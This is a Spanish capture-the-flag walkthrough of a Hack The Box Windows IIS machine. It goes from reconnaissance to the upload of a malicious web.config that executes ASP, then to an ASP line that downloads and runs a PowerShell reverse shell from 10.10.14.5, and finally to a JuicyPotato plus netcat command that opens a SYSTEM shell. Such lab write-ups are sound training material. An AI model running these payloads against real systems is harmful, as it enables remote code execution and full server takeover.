RECONOCIMIENTO

Realizando un escaneo de puertos mediante la herramienta nmap, vemos que únicamente tenemos expuesto un servidor web por el puerto 80.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.93
nmap -sCV -p80 -oN targeted 10.10.10.93

Vemos que se trata de un servidor web IIS corriendo en una máquina Windows. Si analizamos las cabeceras de respuesta mediante la herramienta Whatweb, vemos que está desarrollado en ASP.NET.

Sabiendo esto, vamos a realizar un ataque de descubrimiento de directorios web mediante la herramienta gobuster, buscando también por extensiones de archivo asp y aspx.

gobuster dir -u http://10.10.10.93 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 --no-error -x aspx -o ../content/gobuster.txt -b 404,400

Vemos que tenemos un archivo llamado transfer, que si lo visitamos vemos que se trata de un simple campo que nos permite la subida de archivos. Podemos además intuir, que el directorio que hemos encontrado se trata de donde se están alojando los archivos que podemos subir.

Al estar corriendo ASP.NET, vamos a probar a subir un archivo con extensión aspx, ya que si nos deja subirlo y nos lo interpreta, podríamos tener ejecución remota de comandos.

En el repositorio de SecLists tenemos un script ya configurado llamado cmd.aspx que es el que vamos a utilizar para hacer la prueba.

Parece que no podemos subir este tipo de archivos. Seguramente se está empleando algún filtrado de extensiones de archivos durante la subida. Vamos a abrirnos BurpSuite para, mediante el Intruder, ver aquellas extensiones que nos permite subir.

Enumeración de Extensiones

Mandando la petición de subida de archivos al Intruder, vamos a seleccionar como posición del payload la extensión del archivo (incluyendo también el punto) y vamos a seleccionar el ataque de tipo ‘Sniper‘.

Dentro de la pestaña Payload, vamos a cargar el diccionario de extensiones que se aloja en la siguiente ruta: /usr/share/seclists/Discovery/Web-Content/raft-small-extensions-lowercase.txt. Y vamos a desactivar el URL-encode de los caracteres del diccionario.

Por último, vamos a crear una nueva columna en nuestro ataque, que nos extraiga de la respuesta del servidor el mensaje erróneo de subida de archivo. Esto lo haremos para poder filtrar luego por aquellas peticiones que no devuelvan este mensaje, y así saber que extensiones podemos subir. Para ello nos vamos a la pestaña de opciones, a la opción de Grep Extract, y seleccionamos Fetch Response para poder seleccionar la linea que no interesa.

Vamos a correr el ataque, y esperaremos un rato para poder ver las respuestas (al no tener la version profesional de BurpSuite, no podemos jugar con hilos y el ataque es muy lento).

Aquí podemos ver aquellas extensiones de archivo que podemos subir.

EXPLOTACIÓN

Como podemos observar, podemos subir archivos con extensión .config, así que vamos a subir un archivo llamado web.config dentro del cual definiremos código ASP para ser ejecutado por el servidor. Este ataque está definido y explicado en el siguiente post: LINK.

Un archivo web.config es un archivo de configuración que se encarga del funcionamiento correcto del servidor web IIS y los módulos ASP.NET.

Vamos a coger el archivo por defecto que nos aparece en el blog y lo vamos a subir al servidor para ver si el código se interpreta de su lado cuando llamamos al archivo. Es importante remarcar que el archivo debe llamarse web.config.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Una vez subido el archivo, vamos a visitar la URL donde se alojan los recursos que subimos y vamos a mandar una petición al archivo web.config para ver si se nos interpreta ese (1+2). En la respuesta vemos un 3, así que podemos confirmar que podemos correr código ASP.

En este momento, como tenemos capacidad de ejecución de código asp, tenemos que incluir nuestra Reverse Shell en este archivo para que cuando se interprete nos llegue una conexión reversa a la máquina víctima. De momento, mediante la definición de varias variables y la salida en forma de respuesta del comando por pantalla, vamos a ver si la máquina víctima nos manda un ping a nuestra máquina para verificar que hemos creado bien el código

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set create = CreateObject("WScript.Shell")
Set command = create.Exec("cmd /c ping 10.10.14.5")
outcome = command.StdOut.Readall()
Response.write(outcome)
%>
-->

Si subimos este archivo, lo visualizamos en el navegador y nos llega un ping a nuestra máquina, podemos verificar que hemos realizado todo correcto y podremos proceder con la Reverse Shell.

Vamos a ponernos en escucha de trazas ICMP por la interfaz de la VPN de HTB y vamos a subir el archivo y visualizarlo en el navegador.

Reverse Shell Windows ASP command

Vamos a irnos el repositorio de Nishang y nos vamos a traer a nuestra máquina el script de Powershell llamado Shells/Invoke-PowerShellTcp.ps1. Este es el link directo: https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

En ese mismo script, vamos a invocar a la función directamente al final del script, de la siguiente manera:

Ahora, tenemos que compartirnos el recurso a través de un servidor web simple, usando Python3 y ponernos en escucha mediante la herramienta nc por el puerto 443:

Por ultimo, tenemos que modificar el archivo web.config, para indicar mediante el comando que introduzcamos que el servidor víctima nos coja el archivo que estamos compartiendo, lo ejecute y nos estable una Reverse Shell a nuestro equipo local.

<%
Set create = CreateObject("WScript.Shell")
Set command = create.Exec("cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/reverse.ps1')")
outcome = command.StdOut.Readall()
Response.write(outcome)
%>

Si subimos el archivo web.config y mandamos una petición al archivo para ejecutar el código, vemos que recibimos una conexión reversa y tenemos una Shell como el usuario Merlin.

ESCALADA DE PRIVILEGIOS

Haciendo una enumeración sencilla de la máquina, vemos que tenemos en estado Enabled el privilegio SeImpersonatePrivilege.

Este es un privilegio que posee cualquier proceso que permite la suplantación (pero no la creación) de cualquier token, dado que se puede obtener un identificador para ello. Un token privilegiado se puede adquirir de un servicio de Windows (DCOM) induciéndolo a realizar autenticación NTLM contra un exploit, lo que posteriormente permite la ejecución de un proceso con privilegios de SYSTEM. Esta vulnerabilidad se puede explotar utilizando varias herramientas, como JuicyPotato.

Nos vamos a descargar el archivo ejecutable del Juicy Potato y vamos a renombrarlo a algo más corto y sencillo, JP.exe

Además, también vamos a descargarnos un binario compilado de NetCat , nos lo descomprimimos y el que se llama nc64.exe lo vamos a alojar en la misma carpeta donde tenemos el JS.exe.

Vamos a compartirnos estos dos archivos a través de un servidor web de Python y nos los vamos a descargar en una carpeta que hemos creado en el directorio C:\Windows\Temp.

Por ultimo, nos ejecutamos el Juicy Potato , otorgando los argumentos necesario y mediante una cmd usar el NetCat que nos hemos transferido para entablarnos otra Reverse Shell.

.\JP.exe -t * -p C:\Windows\System32\cmd.exe -l 1337 -a "/c C:\Windows\Temp\Privesc\nc.exe -e cmd 10.10.14.5 443"

Finalmente ya tenemos una Shell con máximos privilegios y podemos ver ambas flags y reportarlas.